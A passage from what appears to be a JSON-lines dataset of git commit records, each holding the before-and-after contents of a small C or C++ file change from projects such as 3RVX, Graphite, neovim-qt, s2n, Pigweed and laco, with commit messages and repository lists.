rosswalk,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,patrickm\/chromium.src,Just-D\/chromium-1,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,Jonekee\/chromium.src,robclark\/chromium,chuan9\/chromium-crosswalk,robclark\/chromium,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,anirudhSK\/chromium,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,markYoungH\/chromium.src,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,ltilve\/chromium,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,axinging\/chromium-crosswalk,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,keishi\/chromium,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,Just-D\/chromium-1,jaruba\/chromium.src,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,rogerwang\/chromium,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,keishi\/chromium,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,zcbenz\/cefode-chromium,keishi\/chromium,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,keishi\/chromium,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,Jonekee\/chromium.src,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,robclark\/chromium,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,robclark\/chromium,nacl-webkit\/chrome_deps,littlstar\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,ltilve\/chromium,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,anirudhSK\/chromium,Jonekee\/chromium.src,ltilve\/chromium,M4sse\/chromium.src,keishi\/chromium,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,dednal\/chromium.src,ltilve\/chromium,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,patrickm\/chromium.src,dednal\/chromium.src,jaruba\/chromium.src,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,dushu1203\/chromium.src,keishi\/chromium,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,Just-D\/chromium-1,Just-D\/chromium-1,nacl-webkit\/chrome_deps,jaruba\/chromium.src,patrickm\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,zcbenz\/cefode-chromium,Chilledheart\/chromium,M4sse\/chromium.src,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,Chilledheart\/chromium,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,keishi\/chromium,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,ltilve\/chromium,jaruba\/chromium.src,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,anirudhSK\/chromium,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,hujiajie\/pa-chromium,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,littlstar\/chromium.src,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,robclark\/chromium,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,dednal\/chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,M4sse\/chromium.src,dushu1203\/chromium.src,Jonekee\/chromium.src,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,M4sse\/chromium.src,keishi\/chromium,fujunwei\/chromium-crosswalk,robclark\/chromium,patrickm\/chromium.src,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,jaruba\/chromium.src,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,robclark\/chromium,rogerwang\/chromium,ltilve\/chromium,patrickm\/chromium.src,Chilledheart\/chromium,Jonekee\/chromium.src,rogerwang\/chromium,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,robclark\/chromium,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,markYoungH\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,robclark\/chromium,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,keishi\/chromium,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,dushu1203\/chromium.src,keishi\/chromium,axinging\/chromium-crosswalk,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,Just-D\/chromium-1"}
{"commit":"3d432822d5b0d14c7f661bbc8cadb287f4531528","old_file":"3RVX\/MeterWnd\/Animation.h","new_file":"3RVX\/MeterWnd\/Animation.h","old_contents":"#pragma once\n\n#include \"MeterWnd.h\"\n\nclass Animation {\npublic:\n    virtual bool Animate(MeterWnd *meterWnd) = 0;\n    virtual void Reset(MeterWnd *meterWnd) = 0;\n};","new_contents":"#pragma once\n\nclass MeterWnd;\n\nclass Animation {\npublic:\n    virtual bool Animate(MeterWnd *meterWnd) = 0;\n    virtual void Reset(MeterWnd *meterWnd) = 0;\n};","subject":"Use forward declaration for MeterWnd","message":"Use forward declaration for MeterWnd\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX"}
{"commit":"0e363dd05530ea6d0fe407bfbeb0eff4706301cc","old_file":"tests\/apps\/barrier\/barrier_test.c","new_file":"tests\/apps\/barrier\/barrier_test.c","old_contents":"\/****************************************************\n * This is a test that will test barriers           *\n ****************************************************\/\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <stdlib.h>\n#include <fcntl.h>\n\n#include \"carbon_user.h\"\n#include \"capi.h\"\n#include \"sync_api.h\"\n\ncarbon_barrier_t my_barrier;\n\n\/\/ Functions executed by threads\nvoid* test_wait_barrier(void * threadid);\n\nint main(int argc, char* argv[])  \/\/ main begins\n{\n   CarbonStartSim();\n   const unsigned int num_threads = 5;\n   carbon_thread_t threads[num_threads];\n\n   barrierInit(&my_barrier, num_threads);\n\n   for(unsigned int i = 0; i < num_threads; i++)\n       threads[i] = CarbonSpawnThread(test_wait_barrier, (void *) i);\n\n   for(unsigned int i = 0; i < num_threads; i++)\n       CarbonJoinThread(threads[i]);\n\n   printf(\"Finished running barrier test!.\\n\");\n\n   CarbonStopSim();\n   return 0;\n} \/\/ main ends\n\nvoid* test_wait_barrier(void *threadid)\n{\n   for (unsigned int i = 0; i < 50; i++)\n      barrierWait(&my_barrier);\n\n   return NULL;\n}\n\n","new_contents":"\/****************************************************\n * This is a test that will test barriers           *\n ****************************************************\/\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <stdlib.h>\n#include <fcntl.h>\n\n#include \"carbon_user.h\"\n#include \"capi.h\"\n#include \"sync_api.h\"\n\ncarbon_barrier_t my_barrier;\n\n\/\/ Functions executed by threads\nvoid* test_wait_barrier(void * threadid);\n\nint main(int argc, char* argv[])  \/\/ main begins\n{\n   CarbonStartSim();\n   const unsigned int num_threads = 5;\n   carbon_thread_t threads[num_threads];\n\n   CarbonBarrierInit(&my_barrier, num_threads);\n\n   for(unsigned int i = 0; i < num_threads; i++)\n       threads[i] = CarbonSpawnThread(test_wait_barrier, (void *) i);\n\n   for(unsigned int i = 0; i < num_threads; i++)\n       CarbonJoinThread(threads[i]);\n\n   printf(\"Finished running barrier test!.\\n\");\n\n   CarbonStopSim();\n   return 0;\n} \/\/ main ends\n\nvoid* test_wait_barrier(void *threadid)\n{\n   for (unsigned int i = 0; i < 50; i++)\n      CarbonBarrierWait(&my_barrier);\n\n   return NULL;\n}\n\n","subject":"Update barrier test to new api.","message":"[tests] Update barrier test to new api.\n","lang":"C","license":"mit","repos":"victorisildur\/Graphite,mit-carbon\/Graphite-Cycle-Level,mit-carbon\/Graphite-Cycle-Level,mit-carbon\/Graphite,mit-carbon\/Graphite-Cycle-Level,8l\/Graphite,victorisildur\/Graphite,8l\/Graphite,nkawahara\/Graphite,fhijaz\/Graphite,8l\/Graphite,8l\/Graphite,mit-carbon\/Graphite-Cycle-Level,nkawahara\/Graphite,nkawahara\/Graphite,mit-carbon\/Graphite,mit-carbon\/Graphite,mit-carbon\/Graphite,nkawahara\/Graphite,fhijaz\/Graphite,victorisildur\/Graphite,fhijaz\/Graphite,victorisildur\/Graphite,fhijaz\/Graphite"}
{"commit":"135c7668abe9b92fc103fda87f4f1ad255951184","old_file":"src\/utils\/path_helper.h","new_file":"src\/utils\/path_helper.h","old_contents":"#ifndef SRC_UTILS_PATH_HELPER_H_\n\n#define SRC_UTILS_PATH_HELPER_H_\n\n#include <QFile>\n#include <QUrl>\n#include <QDir>\n#include <QCoreApplication>\n#include <string>\n\ninline QString absolutePathOfRelativeUrl(QUrl url)\n{\n  return QDir(QCoreApplication::applicationDirPath())\n      .absoluteFilePath(url.toLocalFile());\n}\n\ninline std::string absolutePathOfRelativePath(std::string relativePath)\n{\n  return QDir(QCoreApplication::applicationDirPath())\n      .absoluteFilePath(QString(relativePath.c_str()))\n      .toStdString();\n}\n\n#endif  \/\/ SRC_UTILS_PATH_HELPER_H_\n","new_contents":"#ifndef SRC_UTILS_PATH_HELPER_H_\n\n#define SRC_UTILS_PATH_HELPER_H_\n\n#include <QFile>\n#include <QUrl>\n#include <QDir>\n#include <QCoreApplication>\n#include <string>\n#include \".\/project_root.h\"\n\ninline QString relativeApplicationToProjectRootPath()\n{\n  return QDir(QCoreApplication::applicationDirPath())\n      .relativeFilePath(QString(PROJECT_ROOT));\n}\n\ninline QString absolutePathOfRelativeUrl(QUrl url)\n{\n  return QDir(QCoreApplication::applicationDirPath())\n      .absoluteFilePath(url.toLocalFile());\n}\n\ninline QString absolutePathOfProjectRelativePath(QString path)\n{\n  return QDir(QDir(QCoreApplication::applicationDirPath())\n                  .absoluteFilePath(relativeApplicationToProjectRootPath()))\n      .absoluteFilePath(path);\n}\n\ninline QString absolutePathOfProjectRelativeUrl(QUrl url)\n{\n  return absolutePathOfProjectRelativePath(url.toLocalFile());\n}\n\ninline std::string absolutePathOfRelativePath(std::string relativePath)\n{\n  return QDir(QCoreApplication::applicationDirPath())\n      .absoluteFilePath(QString(relativePath.c_str()))\n      .toStdString();\n}\n\ninline std::string absolutePathOfProjectRelativePath(std::string relativePath)\n{\n  return absolutePathOfProjectRelativePath(QString(relativePath.c_str()))\n      .toStdString();\n}\n\n#endif  \/\/ SRC_UTILS_PATH_HELPER_H_\n","subject":"Add path helpers which handle paths relative to project root.","message":"Add path helpers which handle paths relative to project root.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"754de119506d573be99d8538554999bd24801311","old_file":"test\/common.h","new_file":"test\/common.h","old_contents":"#ifndef NEOVIM_QT_TEST_COMMON\n#define NEOVIM_QT_TEST_COMMON\n\n\/\/ This is just a fix for QSignalSpy::wait\n\/\/ http:\/\/stackoverflow.com\/questions\/22390208\/google-test-mock-with-qt-signals\n#define SPYWAIT(spy) (spy.count()>0||spy.wait())\n#define SPYWAIT2(spy, time) (spy.count()>0||spy.wait(time))\n\n#endif\n","new_contents":"#ifndef NEOVIM_QT_TEST_COMMON\n#define NEOVIM_QT_TEST_COMMON\n\n\/\/ This is just a fix for QSignalSpy::wait\n\/\/ http:\/\/stackoverflow.com\/questions\/22390208\/google-test-mock-with-qt-signals\nbool SPYWAIT(QSignalSpy &spy, int timeout=10000)\n{\n\treturn spy.count()>0||spy.wait(timeout);\n}\n\nbool SPYWAIT2(QSignalSpy &spy, int timeout=5000)\n{\n\treturn spy.count()>0||spy.wait(timeout);\n}\n\n#endif\n","subject":"Fix bug in SPYWAIT helpers","message":"Fix bug in SPYWAIT helpers\n\nSPYWAIT was a macro that could evaluate an expression twice, which is\nnot what we want to do.\n","lang":"C","license":"isc","repos":"equalsraf\/neovim-qt,equalsraf\/neovim-qt,equalsraf\/neovim-qt,equalsraf\/neovim-qt"}
{"commit":"75ec6cfb198bed76a656cf92670ff395acfcdfc1","old_file":"tests\/unit\/s2n_client_disabled_test.c","new_file":"tests\/unit\/s2n_client_disabled_test.c","old_contents":"","new_contents":"\/*\n * Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\").\n * You may not use this file except in compliance with the License.\n * A copy of the License is located at\n *\n *  http:\/\/aws.amazon.com\/apache2.0\n *\n * or in the \"license\" file accompanying this file. This file is distributed\n * on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied. See the License for the specific language governing\n * permissions and limitations under the License.\n *\/\n\n#include \"s2n_test.h\"\n#include <stdlib.h>\n#include <s2n.h>\n\nint main(int argc, char **argv)\n{\n    struct s2n_connection *conn;\n\n    BEGIN_TEST();\n\n    EXPECT_NULL(conn = s2n_connection_new(S2N_CLIENT, &err));\n\n    EXPECT_SUCCESS(setenv(\"S2N_ENABLE_INSECURE_CLIENT\", \"1\", 0));\n    EXPECT_NOT_NULL(conn = s2n_connection_new(S2N_CLIENT, &err));\n\n    END_TEST();\n}\n","subject":"Add a regression test for disabled client mode","message":"Add a regression test for disabled client mode\n\nVerify that client functionality does not work without setting the\nmagic environment variable.\n","lang":"C","license":"apache-2.0","repos":"bpdavidson\/s2n,wcs1only\/s2n,PKRoma\/s2n,kench\/s2n,alexeblee\/s2n,barnabycolby\/s2n,SomeoneWeird\/s2n,raycoll\/s2n,awslabs\/s2n,awslabs\/s2n,alexeblee\/s2n,jldodds\/s2n,gibson-compsci\/s2n,colmmacc\/s2n,raycoll\/s2n,PKRoma\/s2n,kedars\/s2n,jldodds\/s2n,colmmacc\/s2n,bpdavidson\/s2n,pascal-cuoq\/s2n,alexeblee\/s2n,bpdavidson\/s2n,wcs1only\/s2n,gibson-compsci\/s2n,PKRoma\/s2n,gibson-compsci\/s2n,colmmacc\/s2n,jqk6\/s2n,jldodds\/s2n,wcs1only\/s2n,bpdavidson\/s2n,alexeblee\/s2n,raycoll\/s2n,Wiladams\/s2n,wcs1only\/s2n,PKRoma\/s2n,wcs1only\/s2n,gibson-compsci\/s2n,0-wiz-0\/s2n,jldodds\/s2n,raycoll\/s2n,raycoll\/s2n,regehr\/s2n,awslabs\/s2n,PKRoma\/s2n,gibson-compsci\/s2n,colmmacc\/s2n,wcs1only\/s2n,wcs1only\/s2n,awslabs\/s2n,awslabs\/s2n,alexeblee\/s2n,alexeblee\/s2n,colmmacc\/s2n,hechunwen\/s2n,jfigus\/s2n,bpdavidson\/s2n,colmmacc\/s2n,awslabs\/s2n,PKRoma\/s2n,bpdavidson\/s2n,gibson-compsci\/s2n,raycoll\/s2n,jldodds\/s2n,PKRoma\/s2n,PKRoma\/s2n,wcs1only\/s2n"}
{"commit":"e4ed1011d2e111381a8279d53a0c9c14f8f6a5b8","old_file":"pw_sync_threadx\/public\/pw_sync_threadx\/interrupt_spin_lock_native.h","new_file":"pw_sync_threadx\/public\/pw_sync_threadx\/interrupt_spin_lock_native.h","old_contents":"\/\/ Copyright 2020 The Pigweed Authors\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n\/\/ use this file except in compliance with the License. You may obtain a copy of\n\/\/ the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n\/\/ WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n\/\/ License for the specific language governing permissions and limitations under\n\/\/ the License.\n#pragma once\n\n#include \"tx_api.h\"\n\nnamespace pw::sync::backend {\n\nstruct NativeInterruptSpinLock {\n  enum class State {\n    kUnlocked = 1,\n    kLockedFromInterrupt = 2,\n    kLockedFromThread = 3,\n  };\n  State state;  \/\/ Used to detect recursion and interrupt context escapes.\n  UINT saved_interrupt_mask;\n  UINT saved_preemption_threshold;\n};\nusing NativeInterruptSpinLockHandle = NativeInterruptSpinLock&;\n\n}  \/\/ namespace pw::sync::backend\n","new_contents":"\/\/ Copyright 2020 The Pigweed Authors\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n\/\/ use this file except in compliance with the License. You may obtain a copy of\n\/\/ the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n\/\/ WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n\/\/ License for the specific language governing permissions and limitations under\n\/\/ the License.\n#pragma once\n\n#include \"tx_api.h\"\n\nnamespace pw::sync::backend {\n\nstruct NativeInterruptSpinLock {\n  enum class State {\n    kUnlocked = 0,\n    kLockedFromInterrupt = 1,\n    kLockedFromThread = 2,\n  };\n  State state;  \/\/ Used to detect recursion and interrupt context escapes.\n  UINT saved_interrupt_mask;\n  UINT saved_preemption_threshold;\n};\nusing NativeInterruptSpinLockHandle = NativeInterruptSpinLock&;\n\n}  \/\/ namespace pw::sync::backend\n","subject":"Adjust ISL enum to make it bss eligible","message":"pw_sync_threadx: Adjust ISL enum to make it bss eligible\n\nAdjusts an enum's values to ensure that a value of 0 is used in the\nconstexpr constructor to ensure that the object is bss eligible\ninstead of requiring placement in data.\n\nChange-Id: Ied32426852661b5b534b6e4682a0e52fa28a57ae\nReviewed-on: https:\/\/pigweed-review.googlesource.com\/c\/pigweed\/pigweed\/+\/55027\nReviewed-by: Wyatt Hepler <cca3bedb37979eacd157a9bceb473582df8aea1e@google.com>\nPigweed-Auto-Submit: Ewout van Bekkum <638f134dbc68778d6b859fb04a64baea2b00b021@google.com>\nCommit-Queue: Auto-Submit <14637eda5603879df170705285bf30f5996692f0@pigweed.google.com.iam.gserviceaccount.com>\n","lang":"C","license":"apache-2.0","repos":"google\/pigweed,google\/pigweed,google\/pigweed,google\/pigweed,google\/pigweed,google\/pigweed,google\/pigweed,google\/pigweed,google\/pigweed,google\/pigweed"}
{"commit":"35a861ccd55b223642ff88305bc7255dbf5166ea","old_file":"examples\/test_test-setInvalid-1_test.c","new_file":"examples\/test_test-setInvalid-1_test.c","old_contents":"","new_contents":"\/\/ Copyright 2018 Eotvos Lorand University, Budapest, Hungary\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\n\/\/ This test case contains data identical to the included one.\n#include \"test_l2fwd_test.c\"\n","subject":"Add content for test case setInvalid-1","message":"Add content for test case setInvalid-1\n","lang":"C","license":"apache-2.0","repos":"P4ELTE\/t4p4s,P4ELTE\/t4p4s,P4ELTE\/t4p4s"}
{"commit":"ac0393e3d447ec3a36d4967b4fd2cc9144cd7010","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"#ifndef LACO_UTIL_H\n#define LACO_UTIL_H\n\nstruct LacoState;\n\n\/**\n * Load a line into the lua stack to be evaluated later\n *\n * param          pointer to LacoState\n *\n * return -1 if there is no line input to load\n *\/\nint laco_load_line(struct LacoState* laco);\n\n\/**\n * Called after laco_load_line, this evaluated the line as a function and\n * hands of the result for printing\n *\n * param          pointer to LacoState\n *\/\nvoid laco_handle_line(struct LacoState* laco);\n\n\/**\n * Kills the loop with exiting message if specified\n *\n * param          pointer to LacoState\n * param          exit with status\n * param          error message\n *\/\nvoid laco_kill(struct LacoState* laco, int status, const char* message);\n\n\/**\n * When there is a value on the lua stack, it will print out depending on\n * the type it is\n *\n * param          pointer to lua_State\n *\n * return LUA_ERRSYNTAX if the value has some error\n *\/\nint laco_print_type(struct LacoState* laco);\n\n\/**\n * Prints out and pops off errors pushed into the lua stack\n *\n * param          pointer to lua_State\n * param          incoming lua stack status\n *\/\nvoid laco_report_error(struct LacoState* laco, int status);\n\nint laco_is_match(const char** matches, const char* test_string);\n\n#endif \/* LACO_UTIL_H *\/\n","new_contents":"#ifndef LACO_UTIL_H\n#define LACO_UTIL_H\n\nstruct LacoState;\n\n\/**\n * Load a line into the lua stack to be evaluated later\n *\n * param          pointer to LacoState\n *\n * return -1 if there is no line input to load\n *\/\nint laco_load_line(struct LacoState* laco);\n\n\/**\n * Called after laco_load_line, this evaluated the line as a function and\n * hands of the result for printing\n *\n * param          pointer to LacoState\n *\/\nvoid laco_handle_line(struct LacoState* laco);\n\n\/**\n * Kills the loop with exiting message if specified\n *\n * param          pointer to LacoState\n * param          exit with status\n * param          error message\n *\/\nvoid laco_kill(struct LacoState* laco, int status, const char* message);\n\n\/**\n * When there is a value on the lua stack, it will print out depending on\n * the type it is\n *\n * param          pointer to LacoState\n *\n * return LUA_ERRSYNTAX if the value has some error\n *\/\nint laco_print_type(struct LacoState* laco);\n\n\/**\n * Prints out and pops off errors pushed into the lua stack\n *\n * param          pointer to LacoState\n * param          incoming lua stack status\n *\/\nvoid laco_report_error(struct LacoState* laco, int status);\n\nint laco_is_match(const char** matches, const char* test_string);\n\n#endif \/* LACO_UTIL_H *\/\n","subject":"Update documentation for pointer type change","message":"Update documentation for pointer type change\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"dba0f35781d063f35d0074a075927a866615665e","old_file":"network\/network-common.h","new_file":"network\/network-common.h","old_contents":"#pragma once\n\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netdb.h>\n#include <string.h>\n#include <errno.h>\n\n#define emsg(s, d)                                                             \\\n  fprintf(stderr, \"%s(%d): %s %s\\n\", __func__, __LINE__, s, strerror(d))\n#define err(s) emsg(s, errno)\n#define err2(fmt, ...)                                                         \\\n  do {                                                                         \\\n    int errno_tmp__ = errno;                                                   \\\n    fprintf(stderr, \"%s(%d): %s \" fmt \"\\n\", __func__, __LINE__,                \\\n            strerror(errno_tmp__), __VA_ARGS__);                               \\\n  } while (0)\n#define errstring(s) fprintf(stderr, \"%s(%d): %s\\n\", __func__, __LINE__, s)\n\n\nvoid server_usage(void);\nint get_accept_fds(const char *host, const char *port, int **fds);\nint init_fdset(const int *const fds, size_t nfds, fd_set *fdset);\nstruct addrinfo *get_connect_addr(const char *host, const char *port);\nint open_socket(const char *host, const char *port);\nconst char * hostname(struct sockaddr * sa, socklen_t length);\n","new_contents":"#pragma once\n\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <sys\/select.h>\n#include <netdb.h>\n#include <string.h>\n#include <errno.h>\n\n#define emsg(s, d)                                                             \\\n  fprintf(stderr, \"%s(%d): %s %s\\n\", __func__, __LINE__, s, strerror(d))\n#define err(s) emsg(s, errno)\n#define err2(fmt, ...)                                                         \\\n  do {                                                                         \\\n    int errno_tmp__ = errno;                                                   \\\n    fprintf(stderr, \"%s(%d): %s \" fmt \"\\n\", __func__, __LINE__,                \\\n            strerror(errno_tmp__), __VA_ARGS__);                               \\\n  } while (0)\n#define errstring(s) fprintf(stderr, \"%s(%d): %s\\n\", __func__, __LINE__, s)\n\n\nvoid server_usage(void);\nint get_accept_fds(const char *host, const char *port, int **fds);\nint init_fdset(const int *const fds, size_t nfds, fd_set *fdset);\nstruct addrinfo *get_connect_addr(const char *host, const char *port);\nint open_socket(const char *host, const char *port);\nconst char * hostname(struct sockaddr * sa, socklen_t length);\n","subject":"Add missing include for fd_set declaration","message":"Add missing include for fd_set declaration\n","lang":"C","license":"unlicense","repos":"hannesweisbach\/ccourse"}
